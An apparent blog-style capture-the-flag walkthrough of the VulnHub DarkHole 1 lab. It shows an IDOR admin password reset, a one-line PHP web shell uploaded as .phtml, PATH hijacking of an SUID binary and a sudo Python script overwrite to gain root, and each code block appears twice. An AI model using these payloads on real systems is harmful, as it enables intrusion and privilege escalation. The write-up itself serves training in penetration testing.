DarkHole 1 Writeup: From IDOR to Full Root Compromise

Executive Summary

During a recent security assessment, I conducted a full penetration test against the DarkHole 1 machine from VulnHub. The objective was to identify vulnerabilities, achieve an initial foothold, escalate privileges, and gain full administrative access (root) to the target Linux system.

The attack chain progressed through four main phases:

1. Broken Access Control (IDOR): Allowed an account takeover of the administrator user.
2. Arbitrary File Upload: Leveraged administrative access to upload a .phtml web shell and achieve Remote Code Execution (RCE) as www-data.
3. Privilege Escalation (PATH Hijacking): Exploited a custom SUID binary executing relative paths to move laterally to the user john.
4. Privilege Escalation (Sudo Misconfiguration): Injected code into a writable Python script allowed to run via sudo, achieving full root access.

Machine Information

• Target OS: Linux
• Platform: VulnHub / OffSec Practice
• Difficulty: Easy / Medium
• Objective: Obtain a low-privileged shell and escalate to root to capture the final flag.

Kill Chain Steps & Exploitation

1. Account Takeover via IDOR (Insecure Direct Object Reference)

Upon initial enumeration of the web application, I discovered a dashboard with a password update feature. By inspecting the traffic, I noticed that the application blindly trusted a user-supplied id parameter in the request body without validating if it matched the active session owner.

Exploitation Steps:

1. Intercepted the account update request using Burp Suite.
2. Modified the parameter from id=3 (my low-privilege test account) to id=1 (targeting the administrator account).
3. The server processed the request successfully, updating the admin's password to my input.

HTTP

POST /dashboard.php?id=3 HTTP/1.1
Host: 192.168.17.135
Content-Type: application/x-www-form-urlencoded
...
password=AttackerPassword123&id=1

POST /dashboard.php?id=3 HTTP/1.1
Host: 192.168.17.135
Content-Type: application/x-www-form-urlencoded
...
password=AttackerPassword123&id=1

(Caption: Intercepting and modifying the ID parameter to reset the admin password)

2. Initial Access via Arbitrary File Upload (RCE)

After logging into the dashboard using the newly hijacked admin credentials, I found an upload form. The application attempted to implement an extension blacklist, but it failed to properly sanitize or validate alternative PHP extensions.

Exploitation Steps:

• Created a malicious PHP web shell and saved it with a .phtml extension to bypass the extension filter.
• Uploaded the file and verified that the Content-Type was accepted by the server.
• Accessed the uploaded file via the browser and passed system commands to verify Remote Code Execution (RCE) under the context of www-data.

Bash

# Generate the web shell locally
echo '<?php system($_GET["cmd"]); ?>' > shell.phtml

# Generate the web shell locally
echo '<?php system($_GET["cmd"]); ?>' > shell.phtml

(Caption: Uploading the .phtml web shell and verifying command execution via URL)

3. Lateral Movement to User 'john' (PATH Hijacking)

After upgrading the initial reverse shell to a fully interactive TTY shell, I began local enumeration. Inside the home directory of the user john, I discovered a custom SUID binary named toto.

Vulnerability Analysis: Analyzing the binary revealed that it executed the system command id using a relative path instead of an absolute path (e.g., calling id instead of /usr/bin/id). This made it highly vulnerable to PATH environment hijacking.

Exploitation Steps:

• Navigated to the writable /tmp directory.
• Created a malicious executable file named id containing a bash execution payload.
• Modified the $PATH environment variable to prioritize /tmp.
• Executed the SUID binary toto, forcing it to execute my malicious id file with john's privileges.

Bash

# On attacker machine (Setting up the listener)
nc -nlvp 4444
# On the target machine (PATH Hijacking setup)
cd /tmp
echo "/bin/bash" > id
chmod +x id
export PATH=/tmp:$PATH
# Execute the SUID binary to switch context to john
cd /home/john
./toto

# On attacker machine (Setting up the listener)
nc -nlvp 4444
# On the target machine (PATH Hijacking setup)
cd /tmp
echo "/bin/bash" > id
chmod +x id
export PATH=/tmp:$PATH
# Execute the SUID binary to switch context to john
cd /home/john
./toto

(Caption: Successfully hijacking the PATH variable and spawning a shell as user john)

4. Privilege Escalation to Root (Sudo Python Hijacking)

Now acting as the user john, I re-examined local permissions. Running sudo -l revealed an interesting misconfiguration.

Vulnerability Analysis: The user john was allowed to run /usr/bin/python3 /home/john/file.py as root without a password prompt. Crucially, the target script (file.py) was entirely writable by john.

Exploitation Steps:

• Appended a Python payload to file.py designed to spawn a bash shell.
• Executed the script using sudo.
• Confirmed root access and retrieved the final flag.

Bash

# Inject the malicious payload into the writable Python script
echo "import os; os.system('/bin/bash')" > file.py
# Run the script with elevated sudo privileges
sudo /usr/bin/python3 /home/john/file.py
# Confirm root access and read the flag
whoami
cd /root
cat root.txt

# Inject the malicious payload into the writable Python script
echo "import os; os.system('/bin/bash')" > file.py
# Run the script with elevated sudo privileges
sudo /usr/bin/python3 /home/john/file.py
# Confirm root access and read the flag
whoami
cd /root
cat root.txt

(Caption: Injecting python code, executing sudo, and capturing the root flag)

Thanks for reading! If you enjoyed this writeup, feel free to follow for more walkthroughs and technical deep-dives.